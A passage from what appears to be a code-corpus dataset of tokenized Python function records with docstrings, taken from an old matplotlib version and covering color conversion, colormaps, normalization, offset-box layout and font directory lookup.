sawtooth) where y0 represents the value of y for values of x\n    <= to that given, and y1 is the value to be used for x > than\n    that given). The list must start with x=0, end with x=1, and\n    all values of x must be in increasing order. Values between\n    the given mapping points are determined by simple linear interpolation.\n\n    The function returns an array \"result\" where ``result[x*(N-1)]``\n    gives the closest value for values of x between 0 and 1.", "id": "f17241:m3"}
{"signature": "def to_rgb(self, arg):", "body": "try: return self.cache[arg]<EOL>except KeyError: pass<EOL>except TypeError: <EOL><INDENT>arg = tuple(arg)<EOL>try: return self.cache[arg]<EOL>except KeyError: pass<EOL>except TypeError:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>% (str(arg),))<EOL><DEDENT><DEDENT>try:<EOL><INDENT>if cbook.is_string_like(arg):<EOL><INDENT>color = self.colors.get(arg, None)<EOL>if color is None:<EOL><INDENT>str1 = cnames.get(arg, arg)<EOL>if str1.startswith('<STR_LIT:#>'):<EOL><INDENT>color = hex2color(str1)<EOL><DEDENT>else:<EOL><INDENT>fl = float(arg)<EOL>if fl < <NUM_LIT:0> or fl > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>color = tuple([fl]*<NUM_LIT:3>)<EOL><DEDENT><DEDENT><DEDENT>elif cbook.iterable(arg):<EOL><INDENT>if len(arg) > <NUM_LIT:4> or len(arg) < <NUM_LIT:3>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'%len(arg))<EOL><DEDENT>color = tuple(arg[:<NUM_LIT:3>])<EOL>if [x for x in color if (float(x) < <NUM_LIT:0>) or  (x > <NUM_LIT:1>)]:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.cache[arg] = color<EOL><DEDENT>except (KeyError, ValueError, TypeError) as exc:<EOL><INDENT>raise ValueError('<STR_LIT>' % (str(arg), exc))<EOL><DEDENT>return color<EOL>", "docstring": "Returns an *RGB* tuple of three floats from 0-1.\n\n*arg* can be an *RGB* or *RGBA* sequence or a string in any of\nseveral forms:\n\n    1) a letter from the set 'rgbcmykw'\n    2) a hex color string, like '#00FFFF'\n    3) a standard name, like 'aqua'\n    4) a float, like '0.4', indicating gray on a 0-1 scale\n\nif *arg* is *RGBA*, the *A* will simply be discarded.", "id": "f17241:c0:m0"}
{"signature": "def to_rgba(self, arg, alpha=None):", "body": "try:<EOL><INDENT>if not cbook.is_string_like(arg) and cbook.iterable(arg):<EOL><INDENT>if len(arg) == <NUM_LIT:4>:<EOL><INDENT>if [x for x in arg if (float(x) < <NUM_LIT:0>) or  (x > <NUM_LIT:1>)]:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if alpha is None:<EOL><INDENT>return tuple(arg)<EOL><DEDENT>if alpha < <NUM_LIT:0.0> or alpha > <NUM_LIT:1.0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return arg[<NUM_LIT:0>], arg[<NUM_LIT:1>], arg[<NUM_LIT:2>], arg[<NUM_LIT:3>] * alpha<EOL><DEDENT>r,g,b = arg[:<NUM_LIT:3>]<EOL>if [x for x in (r,g,b) if (float(x) < <NUM_LIT:0>) or  (x > <NUM_LIT:1>)]:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>r,g,b = self.to_rgb(arg)<EOL><DEDENT>if alpha is None:<EOL><INDENT>alpha = <NUM_LIT:1.0><EOL><DEDENT>return r,g,b,alpha<EOL><DEDENT>except (TypeError, ValueError) as exc:<EOL><INDENT>raise ValueError('<STR_LIT>' % (str(arg), exc))<EOL><DEDENT>", "docstring": "Returns an *RGBA* tuple of four floats from 0-1.\n\nFor acceptable values of *arg*, see :meth:`to_rgb`.\nIf *arg* is an *RGBA* sequence and *alpha* is not *None*,\n*alpha* will replace the original *A*.", "id": "f17241:c0:m1"}
{"signature": "def to_rgba_array(self, c, alpha=None):", "body": "try:<EOL><INDENT>if c.lower() == '<STR_LIT:none>':<EOL><INDENT>return np.zeros((<NUM_LIT:0>,<NUM_LIT:4>), dtype=np.float_)<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>if len(c) == <NUM_LIT:0>:<EOL><INDENT>return np.zeros((<NUM_LIT:0>,<NUM_LIT:4>), dtype=np.float_)<EOL><DEDENT>try:<EOL><INDENT>result = np.array([self.to_rgba(c, alpha)], dtype=np.float_)<EOL><DEDENT>except ValueError:<EOL><INDENT>if isinstance(c, np.ndarray):<EOL><INDENT>if c.ndim != <NUM_LIT:2> and c.dtype.kind not in '<STR_LIT>':<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>result = np.zeros((len(c), <NUM_LIT:4>))<EOL>for i, cc in enumerate(c):<EOL><INDENT>result[i] = self.to_rgba(cc, alpha)  <EOL><DEDENT><DEDENT>return np.asarray(result, np.float_)<EOL>", "docstring": "Returns a numpy array of *RGBA* tuples.\n\nAccepts a single mpl color spec or a sequence of specs.\n\nSpecial case to handle \"no color\": if *c* is \"none\" (case-insensitive),\nthen an empty array will be returned.  Same for an empty list.", "id": "f17241:c0:m2"}
{"signature": "def __init__(self, name, N=<NUM_LIT>):", "body": "self.name = name<EOL>self.N = N<EOL>self._rgba_bad = (<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>) <EOL>self._rgba_under = None<EOL>self._rgba_over = None<EOL>self._i_under = N<EOL>self._i_over = N+<NUM_LIT:1><EOL>self._i_bad = N+<NUM_LIT:2><EOL>self._isinit = False<EOL>", "docstring": "Public class attributes:\n    :attr:`N` : number of rgb quantization levels\n    :attr:`name` : name of colormap", "id": "f17241:c1:m0"}
{"signature": "def __call__(self, X, alpha=<NUM_LIT:1.0>, bytes=False):", "body": "if not self._isinit: self._init()<EOL>alpha = min(alpha, <NUM_LIT:1.0>) <EOL>alpha = max(alpha, <NUM_LIT:0.0>)<EOL>self._lut[:-<NUM_LIT:3>, -<NUM_LIT:1>] = alpha<EOL>mask_bad = None<EOL>if not cbook.iterable(X):<EOL><INDENT>vtype = '<STR_LIT>'<EOL>xa = np.array([X])<EOL><DEDENT>else:<EOL><INDENT>vtype = '<STR_LIT>'<EOL>xma = ma.asarray(X)<EOL>xa = xma.filled(<NUM_LIT:0>)<EOL>mask_bad = ma.getmask(xma)<EOL><DEDENT>if xa.dtype.char in np.typecodes['<STR_LIT>']:<EOL><INDENT>np.putmask(xa, xa==<NUM_LIT:1.0>, <NUM_LIT>) <EOL>if NP_CLIP_OUT:<EOL><INDENT>np.clip(xa * self.N, -<NUM_LIT:1>, self.N, out=xa)<EOL><DEDENT>else:<EOL><INDENT>xa = np.clip(xa * self.N, -<NUM_LIT:1>, self.N)<EOL><DEDENT>xa = xa.astype(int)<EOL><DEDENT>np.putmask(xa, xa>self.N-<NUM_LIT:1>, self._i_over)<EOL>np.putmask(xa, xa<<NUM_LIT:0>, self._i_under)<EOL>if mask_bad is not None and mask_bad.shape == xa.shape:<EOL><INDENT>np.putmask(xa, mask_bad, self._i_bad)<EOL><DEDENT>if bytes:<EOL><INDENT>lut = (self._lut * <NUM_LIT:255>).astype(np.uint8)<EOL><DEDENT>else:<EOL><INDENT>lut = self._lut<EOL><DEDENT>rgba = np.empty(shape=xa.shape+(<NUM_LIT:4>,), dtype=lut.dtype)<EOL>lut.take(xa, axis=<NUM_LIT:0>, mode='<STR_LIT>', out=rgba)<EOL>if vtype == '<STR_LIT>':<EOL><INDENT>rgba = tuple(rgba[<NUM_LIT:0>,:])<EOL><DEDENT>return rgba<EOL>", "docstring": "*X* is either a scalar or an array (of any dimension).\nIf scalar, a tuple of rgba values is returned, otherwise\nan array with the new shape = oldshape+(4,). If the X-values\nare integers, then they are used as indices into the array.\nIf they are floating point, then they must be in the\ninterval (0.0, 1.0).\nAlpha must be a scalar.\nIf bytes is False, the rgba values will be floats on a\n0-1 scale; if True, they will be uint8, 0-255.", "id": "f17241:c1:m1"}
{"signature": "def set_bad(self, color = '<STR_LIT:k>', alpha = <NUM_LIT:1.0>):", "body": "self._rgba_bad = colorConverter.to_rgba(color, alpha)<EOL>if self._isinit: self._set_extremes()<EOL>", "docstring": "Set color to be used for masked values.", "id": "f17241:c1:m2"}
{"signature": "def set_under(self, color = '<STR_LIT:k>', alpha = <NUM_LIT:1.0>):", "body": "self._rgba_under = colorConverter.to_rgba(color, alpha)<EOL>if self._isinit: self._set_extremes()<EOL>", "docstring": "Set color to be used for low out-of-range values.\n           Requires norm.clip = False", "id": "f17241:c1:m3"}
{"signature": "def set_over(self, color = '<STR_LIT:k>', alpha = <NUM_LIT:1.0>):", "body": "self._rgba_over = colorConverter.to_rgba(color, alpha)<EOL>if self._isinit: self._set_extremes()<EOL>", "docstring": "Set color to be used for high out-of-range values.\n           Requires norm.clip = False", "id": "f17241:c1:m4"}
{"signature": "def _init():", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Generate the lookup table, self._lut", "id": "f17241:c1:m6"}
{"signature": "def __init__(self, name, segmentdata, N=<NUM_LIT>):", "body": "self.monochrome = False  <EOL>Colormap.__init__(self, name, N)<EOL>self._segmentdata = segmentdata<EOL>", "docstring": "Create color map from linear mapping segments\n\n        segmentdata argument is a dictionary with a red, green and blue\n        entries. Each entry should be a list of *x*, *y0*, *y1* tuples,\n        forming rows in a table.\n\n        Example: suppose you want red to increase from 0 to 1 over\n        the bottom half, green to do the same over the middle half,\n        and blue over the top half.  Then you would use::\n\n            cdict = {'red':   [(0.0,  0.0, 0.0),\n                               (0.5,  1.0, 1.0),\n                               (1.0,  1.0, 1.0)],\n\n                     'green': [(0.0,  0.0, 0.0),\n                               (0.25, 0.0, 0.0),\n                               (0.75, 1.0, 1.0),\n                               (1.0,  1.0, 1.0)],\n\n                     'blue':  [(0.0,  0.0, 0.0),\n                               (0.5,  0.0, 0.0),\n                               (1.0,  1.0, 1.0)]}\n\n        Each row in the table for a given color is a sequence of\n        *x*, *y0*, *y1* tuples.  In each sequence, *x* must increase\n        monotonically from 0 to 1.  For any input value *z* falling\n        between *x[i]* and *x[i+1]*, the output value of a given color\n        will be linearly interpolated between *y1[i]* and *y0[i+1]*::\n\n            row i:   x  y0  y1\n                           /\n                          /\n            row i+1: x  y0  y1\n\n        Hence y0 in the first row and y1 in the last row are never used.\n\n\n        .. seealso::\n            :func:`makeMappingArray`", "id": "f17241:c2:m0"}
{"signature": "def __init__(self, colors, name = '<STR_LIT>', N = None):", "body": "self.colors = colors<EOL>self.monochrome = False  <EOL>if N is None:<EOL><INDENT>N = len(self.colors)<EOL><DEDENT>else:<EOL><INDENT>if cbook.is_string_like(self.colors):<EOL><INDENT>self.colors = [self.colors] * N<EOL>self.monochrome = True<EOL><DEDENT>elif cbook.iterable(self.colors):<EOL><INDENT>self.colors = list(self.colors) <EOL>if len(self.colors) == <NUM_LIT:1>:<EOL><INDENT>self.monochrome = True<EOL><DEDENT>if len(self.colors) < N:<EOL><INDENT>self.colors = list(self.colors) * N<EOL><DEDENT>del(self.colors[N:])<EOL><DEDENT>else:<EOL><INDENT>try: gray = float(self.colors)<EOL>except TypeError: pass<EOL>else:  self.colors = [gray] * N<EOL>self.monochrome = True<EOL><DEDENT><DEDENT>Colormap.__init__(self, name, N)<EOL>", "docstring": "Make a colormap from a list of colors.\n\n*colors*\n    a list of matplotlib color specifications,\n    or an equivalent Nx3 floating point array (*N* rgb values)\n*name*\n    a string to identify the colormap\n*N*\n    the number of entries in the map.  The default is *None*,\n    in which case there is one colormap entry for each\n    element in the list of colors.  If::\n\n        N < len(colors)\n\n    the list will be truncated at *N*.  If::\n\n        N > len(colors)\n\n    the list will be extended by repetition.", "id": "f17241:c3:m0"}
{"signature": "def __init__(self, vmin=None, vmax=None, clip=False):", "body": "self.vmin = vmin<EOL>self.vmax = vmax<EOL>self.clip = clip<EOL>", "docstring": "If *vmin* or *vmax* is not given, they are taken from the input's\nminimum and maximum value respectively.  If *clip* is *True* and\nthe given value falls outside the range, the returned value\nwill be 0 or 1, whichever is closer. Returns 0 if::\n\n    vmin==vmax\n\nWorks with scalars or arrays, including masked arrays.  If\n*clip* is *True*, masked values are set to 1; otherwise they\nremain masked.  Clipping silently defeats the purpose of setting\nthe over, under, and masked colors in the colormap, so it is\nlikely to lead to surprises; therefore the default is\n*clip* = *False*.", "id": "f17241:c4:m0"}
{"signature": "def autoscale(self, A):", "body": "self.vmin = ma.minimum(A)<EOL>self.vmax = ma.maximum(A)<EOL>", "docstring": "Set *vmin*, *vmax* to min, max of *A*.", "id": "f17241:c4:m3"}
{"signature": "def autoscale_None(self, A):", "body": "if self.vmin is None: self.vmin = ma.minimum(A)<EOL>if self.vmax is None: self.vmax = ma.maximum(A)<EOL>", "docstring": "autoscale only None-valued vmin or vmax", "id": "f17241:c4:m4"}
{"signature": "def scaled(self):", "body": "return (self.vmin is not None and self.vmax is not None)<EOL>", "docstring": "return true if vmin and vmax set", "id": "f17241:c4:m5"}
{"signature": "def __init__(self, boundaries, ncolors, clip=False):", "body": "self.clip = clip<EOL>self.vmin = boundaries[<NUM_LIT:0>]<EOL>self.vmax = boundaries[-<NUM_LIT:1>]<EOL>self.boundaries = np.asarray(boundaries)<EOL>self.N = len(self.boundaries)<EOL>self.Ncmap = ncolors<EOL>if self.N-<NUM_LIT:1> == self.Ncmap:<EOL><INDENT>self._interp = False<EOL><DEDENT>else:<EOL><INDENT>self._interp = True<EOL><DEDENT>", "docstring": "*boundaries*\n    a monotonically increasing sequence\n*ncolors*\n    number of colors in the colormap to be used\n\nIf::\n\n    b[i] <= v < b[i+1]\n\nthen v is mapped to color j;\nas i varies from 0 to len(boundaries)-2,\nj goes from 0 to ncolors-1.\n\nOut-of-range values are mapped to -1 if low and ncolors\nif high; these are converted to valid indices by\n:meth:`Colormap.__call__` .", "id": "f17241:c6:m0"}
{"signature": "def _get_packed_offsets(wd_list, total, sep, mode=\"<STR_LIT>\"):", "body": "w_list, d_list = zip(*wd_list)<EOL>if mode == \"<STR_LIT>\":<EOL><INDENT>offsets_ = np.add.accumulate([<NUM_LIT:0>]+[w + sep for w in w_list])<EOL>offsets = offsets_[:-<NUM_LIT:1>]<EOL>if total is None:<EOL><INDENT>total = offsets_[-<NUM_LIT:1>] - sep<EOL><DEDENT>return total, offsets<EOL><DEDENT>elif mode == \"<STR_LIT>\":<EOL><INDENT>sep = (total - sum(w_list))/(len(w_list)-<NUM_LIT:1.>)<EOL>offsets_ = np.add.accumulate([<NUM_LIT:0>]+[w + sep for w in w_list])<EOL>offsets = offsets_[:-<NUM_LIT:1>]<EOL>return total, offsets<EOL><DEDENT>elif mode == \"<STR_LIT>\":<EOL><INDENT>maxh = max(w_list)<EOL>if total is None:<EOL><INDENT>total = (maxh+sep)*len(w_list)<EOL><DEDENT>else:<EOL><INDENT>sep = float(total)/(len(w_list)) - maxh<EOL><DEDENT>offsets = np.array([(maxh+sep)*i for i in range(len(w_list))])<EOL>return total, offsets<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (mode,))<EOL><DEDENT>", "docstring": "Geiven a list of (width, xdescent) of each boxes, calculate the\ntotal width and the x-offset positions of each items according to\n*mode*. xdescent is analagous to the usual descent, but along the\nx-direction. xdescent values are currently ignored.\n\n*wd_list* : list of (width, xdescent) of boxes to be packed.\n*sep* : spacing between boxes\n*total* : Intended total length. None if not used.\n*mode* : packing mode. 'fixed', 'expand', or 'equal'.", "id": "f17242:m1"}
{"signature": "def _get_aligned_offsets(hd_list, height, align=\"<STR_LIT>\"):", "body": "if height is None:<EOL><INDENT>height = max([h for h, d in hd_list])<EOL><DEDENT>if align == \"<STR_LIT>\":<EOL><INDENT>height_descent = max([h-d for h, d in hd_list])<EOL>descent = max([d for h, d in hd_list])<EOL>height = height_descent + descent<EOL>offsets = [<NUM_LIT:0.> for h, d in hd_list]<EOL><DEDENT>elif align in [\"<STR_LIT:left>\",\"<STR_LIT>\"]:<EOL><INDENT>descent=<NUM_LIT:0.><EOL>offsets = [d for h, d in hd_list]<EOL><DEDENT>elif align in [\"<STR_LIT:right>\",\"<STR_LIT>\"]:<EOL><INDENT>descent=<NUM_LIT:0.><EOL>offsets = [height-h+d for h, d in hd_list]<EOL><DEDENT>elif align == \"<STR_LIT>\":<EOL><INDENT>descent=<NUM_LIT:0.><EOL>offsets = [(height-h)*<NUM_LIT>+d for h, d in hd_list]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (align,))<EOL><DEDENT>return height, descent, offsets<EOL>", "docstring": "Geiven a list of (height, descent) of each boxes, align the boxes\nwith *align* and calculate the y-offsets of each boxes.\ntotal width and the offset positions of each items according to\n*mode*. xdescent is analagous to the usual descent, but along the\nx-direction. xdescent values are currently ignored.\n\n*hd_list* : list of (width, xdescent) of boxes to be aligned.\n*sep* : spacing between boxes\n*height* : Intended total length. None if not used.\n*align* : align mode. 'baseline', 'top', 'bottom', or 'center'.", "id": "f17242:m2"}
{"signature": "def set_figure(self, fig):", "body": "martist.Artist.set_figure(self, fig)<EOL>for c in self.get_children():<EOL><INDENT>c.set_figure(fig)<EOL><DEDENT>", "docstring": "Set the figure\n\naccepts a class:`~matplotlib.figure.Figure` instance", "id": "f17242:c0:m1"}
{"signature": "def set_offset(self, xy):", "body": "self._offset = xy<EOL>", "docstring": "Set the offset\n\naccepts x, y, tuple, or a callable object.", "id": "f17242:c0:m2"}
{"signature": "def get_offset(self, width, height, xdescent, ydescent):", "body": "if callable(self._offset):<EOL><INDENT>return self._offset(width, height, xdescent, ydescent)<EOL><DEDENT>else:<EOL><INDENT>return self._offset<EOL><DEDENT>", "docstring": "Get the offset\n\naccepts extent of the box", "id": "f17242:c0:m3"}
{"signature": "def set_width(self, width):", "body": "self.width = width<EOL>", "docstring": "Set the width\n\naccepts float", "id": "f17242:c0:m4"}
{"signature": "def set_height(self, height):", "body": "self.height = height<EOL>", "docstring": "Set the height\n\naccepts float", "id": "f17242:c0:m5"}
{"signature": "def get_children(self):", "body": "return self._children<EOL>", "docstring": "Return a list of artists it contains.", "id": "f17242:c0:m6"}
{"signature": "def get_extent(self, renderer):", "body": "w, h, xd, yd, offsets = self.get_extent_offsets(renderer)<EOL>return w, h, xd, yd<EOL>", "docstring": "Return with, height, xdescent, ydescent of box", "id": "f17242:c0:m8"}
{"signature": "def get_window_extent(self, renderer):", "body": "w, h, xd, yd, offsets = self.get_extent_offsets(renderer)<EOL>px, py = self.get_offset(w, h, xd, yd)<EOL>return mtransforms.Bbox.from_bounds(px-xd, py-yd, w, h)<EOL>", "docstring": "get the bounding box in display space.", "id": "f17242:c0:m9"}
{"signature": "def draw(self, renderer):", "body": "width, height, xdescent, ydescent, offsets = self.get_extent_offsets(renderer)<EOL>px, py = self.get_offset(width, height, xdescent, ydescent)<EOL>for c, (ox, oy) in zip(self.get_children(), offsets):<EOL><INDENT>c.set_offset((px+ox, py+oy))<EOL>c.draw(renderer)<EOL><DEDENT>bbox_artist(self, renderer, fill=False, props=dict(pad=<NUM_LIT:0.>))<EOL>", "docstring": "Update the location of children if necessary and draw them\nto the given *renderer*.", "id": "f17242:c0:m10"}
{"signature": "def __init__(self, pad=None, sep=None, width=None, height=None,<EOL>align=None, mode=None,<EOL>children=None):", "body": "super(PackerBase, self).__init__()<EOL>self.height = height<EOL>self.width = width<EOL>self.sep = sep<EOL>self.pad = pad<EOL>self.mode = mode<EOL>self.align = align<EOL>self._children = children<EOL>", "docstring": "*pad* : boundary pad\n*sep* : spacing between items\n*width*, *height* : width and height of the container box.\n   calculated if None.\n*align* : alignment of boxes\n*mode* : packing mode", "id": "f17242:c1:m0"}
{"signature": "def __init__(self, pad=None, sep=None, width=None, height=None,<EOL>align=\"<STR_LIT>\", mode=\"<STR_LIT>\",<EOL>children=None):", "body": "super(VPacker, self).__init__(pad, sep, width, height,<EOL>align, mode, <EOL>children)<EOL>", "docstring": "*pad* : boundary pad\n*sep* : spacing between items\n*width*, *height* : width and height of the container box.\n   calculated if None.\n*align* : alignment of boxes\n*mode* : packing mode", "id": "f17242:c2:m0"}
{"signature": "def get_extent_offsets(self, renderer):", "body": "whd_list = [c.get_extent(renderer) for c in self.get_children()]<EOL>whd_list = [(w, h, xd, (h-yd)) for w, h, xd, yd in whd_list]<EOL>wd_list = [(w, xd) for w, h, xd, yd in whd_list]<EOL>width, xdescent, xoffsets = _get_aligned_offsets(wd_list,<EOL>self.width,<EOL>self.align)<EOL>pack_list = [(h, yd) for w,h,xd,yd in whd_list]<EOL>height, yoffsets_ = _get_packed_offsets(pack_list, self.height,<EOL>self.sep, self.mode)<EOL>yoffsets = yoffsets_  + [yd for w,h,xd,yd in whd_list]<EOL>ydescent = height - yoffsets[<NUM_LIT:0>]<EOL>yoffsets = height - yoffsets<EOL>yoffsets = yoffsets - ydescent<EOL>return width + <NUM_LIT:2>*self.pad, height + <NUM_LIT:2>*self.pad,xdescent+self.pad, ydescent+self.pad,zip(xoffsets, yoffsets)<EOL>", "docstring": "update offset of childrens and return the extents of the box", "id": "f17242:c2:m1"}
{"signature": "def __init__(self, pad=None, sep=None, width=None, height=None, <EOL>align=\"<STR_LIT>\", mode=\"<STR_LIT>\",<EOL>children=None):", "body": "super(HPacker, self).__init__(pad, sep, width, height,<EOL>align, mode, children)<EOL>", "docstring": "*pad* : boundary pad\n*sep* : spacing between items\n*width*, *height* : width and height of the container box.\n   calculated if None.\n*align* : alignment of boxes\n*mode* : packing mode", "id": "f17242:c3:m0"}
{"signature": "def get_extent_offsets(self, renderer):", "body": "whd_list = [c.get_extent(renderer) for c in self.get_children()]<EOL>if self.height is None:<EOL><INDENT>height_descent = max([h-yd for w,h,xd,yd in whd_list])  <EOL>ydescent = max([yd for w,h,xd,yd in whd_list])<EOL>height = height_descent + ydescent<EOL><DEDENT>else:<EOL><INDENT>height = self.height - <NUM_LIT:2>*self._pad <EOL><DEDENT>hd_list = [(h, yd) for w, h, xd, yd in whd_list]<EOL>height, ydescent, yoffsets = _get_aligned_offsets(hd_list,<EOL>self.height,<EOL>self.align)<EOL>pack_list = [(w, xd) for w,h,xd,yd in whd_list]<EOL>width, xoffsets_ = _get_packed_offsets(pack_list, self.width,<EOL>self.sep, self.mode)<EOL>xoffsets = xoffsets_  + [xd for w,h,xd,yd in whd_list]<EOL>xdescent=whd_list[<NUM_LIT:0>][<NUM_LIT:2>]<EOL>xoffsets = xoffsets - xdescent<EOL>return width + <NUM_LIT:2>*self.pad, height + <NUM_LIT:2>*self.pad,xdescent + self.pad, ydescent + self.pad,zip(xoffsets, yoffsets)<EOL>", "docstring": "update offset of childrens and return the extents of the box", "id": "f17242:c3:m1"}
{"signature": "def __init__(self, width, height, xdescent=<NUM_LIT:0.>,<EOL>ydescent=<NUM_LIT:0.>, clip=True):", "body": "super(DrawingArea, self).__init__()<EOL>self.width = width<EOL>self.height = height<EOL>self.xdescent = xdescent<EOL>self.ydescent = ydescent<EOL>self.offset_transform = mtransforms.Affine2D()<EOL>self.offset_transform.clear()<EOL>self.offset_transform.translate(<NUM_LIT:0>, <NUM_LIT:0>)<EOL>", "docstring": "*width*, *height* : width and height of the container box.\n*xdescent*, *ydescent* : descent of the box in x- and y-direction.", "id": "f17242:c4:m0"}
{"signature": "def get_transform(self):", "body": "return self.offset_transform<EOL>", "docstring": "Return the :class:`~matplotlib.transforms.Transform` applied\nto the children", "id": "f17242:c4:m1"}
{"signature": "def set_transform(self, t):", "body": "pass<EOL>", "docstring": "set_transform is ignored.", "id": "f17242:c4:m2"}
{"signature": "def set_offset(self, xy):", "body": "self._offset = xy<EOL>self.offset_transform.clear()<EOL>self.offset_transform.translate(xy[<NUM_LIT:0>], xy[<NUM_LIT:1>])<EOL>", "docstring": "set offset of the container.\n\nAccept : tuple of x,y cooridnate in disokay units.", "id": "f17242:c4:m3"}
{"signature": "def get_offset(self):", "body": "return self._offset<EOL>", "docstring": "return offset of the container.", "id": "f17242:c4:m4"}
{"signature": "def get_window_extent(self, renderer):", "body": "w, h, xd, yd = self.get_extent(renderer)<EOL>ox, oy = self.get_offset() <EOL>return mtransforms.Bbox.from_bounds(ox-xd, oy-yd, w, h)<EOL>", "docstring": "get the bounding box in display space.", "id": "f17242:c4:m5"}
{"signature": "def get_extent(self, renderer):", "body": "return self.width, self.height, self.xdescent, self.ydescent<EOL>", "docstring": "Return with, height, xdescent, ydescent of box", "id": "f17242:c4:m6"}
{"signature": "def add_artist(self, a):", "body": "self._children.append(a)<EOL>a.set_transform(self.get_transform())<EOL>", "docstring": "Add any :class:`~matplotlib.artist.Artist` to the container box", "id": "f17242:c4:m7"}
{"signature": "def draw(self, renderer):", "body": "for c in self._children:<EOL><INDENT>c.draw(renderer)<EOL><DEDENT>bbox_artist(self, renderer, fill=False, props=dict(pad=<NUM_LIT:0.>))<EOL>", "docstring": "Draw the children", "id": "f17242:c4:m8"}
{"signature": "def __init__(self, s,<EOL>textprops=None,<EOL>multilinebaseline=None,<EOL>minimumdescent=True,<EOL>):", "body": "if textprops is None:<EOL><INDENT>textprops = {}<EOL><DEDENT>if not textprops.has_key(\"<STR_LIT>\"):<EOL><INDENT>textprops[\"<STR_LIT>\"]=\"<STR_LIT>\"<EOL><DEDENT>self._text = mtext.Text(<NUM_LIT:0>, <NUM_LIT:0>, s, **textprops)<EOL>OffsetBox.__init__(self)<EOL>self._children = [self._text]<EOL>self.offset_transform = mtransforms.Affine2D()<EOL>self.offset_transform.clear()<EOL>self.offset_transform.translate(<NUM_LIT:0>, <NUM_LIT:0>)<EOL>self._baseline_transform = mtransforms.Affine2D()<EOL>self._text.set_transform(self.offset_transform+self._baseline_transform)<EOL>self._multilinebaseline = multilinebaseline<EOL>self._minimumdescent = minimumdescent<EOL>", "docstring": "*s* : a string to be displayed.\n*textprops* : property dictionary for the text\n*multilinebaseline* : If True, baseline for multiline text is\n                      adjusted so that it is (approximatedly)\n                      center-aligned with singleline text.\n*minimumdescent*  : If True, the box has a minimum descent of \"p\".", "id": "f17242:c5:m0"}
{"signature": "def set_multilinebaseline(self, t):", "body": "self._multilinebaseline = t<EOL>", "docstring": "Set multilinebaseline .\n\nIf True, baseline for multiline text is\nadjusted so that it is (approximatedly) center-aligned with\nsingleline text.", "id": "f17242:c5:m1"}
{"signature": "def get_multilinebaseline(self):", "body": "return self._multilinebaseline<EOL>", "docstring": "get multilinebaseline .", "id": "f17242:c5:m2"}
{"signature": "def set_minimumdescent(self, t):", "body": "self._minimumdescent = t<EOL>", "docstring": "Set minimumdescent .\n\nIf True, extent of the single line text is adjusted so that \nit has minimum descent of \"p\"", "id": "f17242:c5:m3"}
{"signature": "def get_minimumdescent(self):", "body": "return self._minimumdescent<EOL>", "docstring": "get minimumdescent.", "id": "f17242:c5:m4"}
{"signature": "def set_transform(self, t):", "body": "pass<EOL>", "docstring": "set_transform is ignored.", "id": "f17242:c5:m5"}
{"signature": "def set_offset(self, xy):", "body": "self._offset = xy<EOL>self.offset_transform.clear()<EOL>self.offset_transform.translate(xy[<NUM_LIT:0>], xy[<NUM_LIT:1>])<EOL>", "docstring": "set offset of the container.\n\nAccept : tuple of x,y cooridnate in disokay units.", "id": "f17242:c5:m6"}
{"signature": "def get_offset(self):", "body": "return self._offset<EOL>", "docstring": "return offset of the container.", "id": "f17242:c5:m7"}
{"signature": "def get_window_extent(self, renderer):", "body": "w, h, xd, yd = self.get_extent(renderer)<EOL>ox, oy = self.get_offset() <EOL>return mtransforms.Bbox.from_bounds(ox-xd, oy-yd, w, h)<EOL>", "docstring": "get the bounding box in display space.", "id": "f17242:c5:m8"}
{"signature": "def draw(self, renderer):", "body": "self._text.draw(renderer)<EOL>bbox_artist(self, renderer, fill=False, props=dict(pad=<NUM_LIT:0.>))<EOL>", "docstring": "Draw the children", "id": "f17242:c5:m10"}
{"signature": "def get_fontext_synonyms(fontext):", "body": "return {'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': ('<STR_LIT>',)}[fontext]<EOL>", "docstring": "Return a list of file extensions extensions that are synonyms for\nthe given file extension *fileext*.", "id": "f17243:m0"}
{"signature": "def win32FontDirectory():", "body": "try:<EOL><INDENT>import winreg<EOL><DEDENT>except ImportError:<EOL><INDENT>pass <EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>user = winreg.OpenKey(winreg.HKEY_CURRENT_USER, MSFolders)<EOL>try:<EOL><INDENT>try:<EOL><INDENT>return winreg.QueryValueEx(user, '<STR_LIT>')[<NUM_LIT:0>]<EOL><DEDENT>except OSError:<EOL><INDENT>pass <EOL><DEDENT><DEDENT>finally:<EOL><INDENT>winreg.CloseKey(user)<EOL><DEDENT><DEDENT>except OSError:<EOL><INDENT>pass <EOL><DEDENT><DEDENT>return os.path.join(os.environ['<STR_LIT>'], '<STR_LIT>')<EOL>", "docstring": "Return the user-specified font directory for Win32.  This is\nlooked up from the registry key::\n\n  \\\\HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Fonts\n\nIf the key is not found, $WINDIR/Fonts will be returned.", "id": "f17243:m1"}
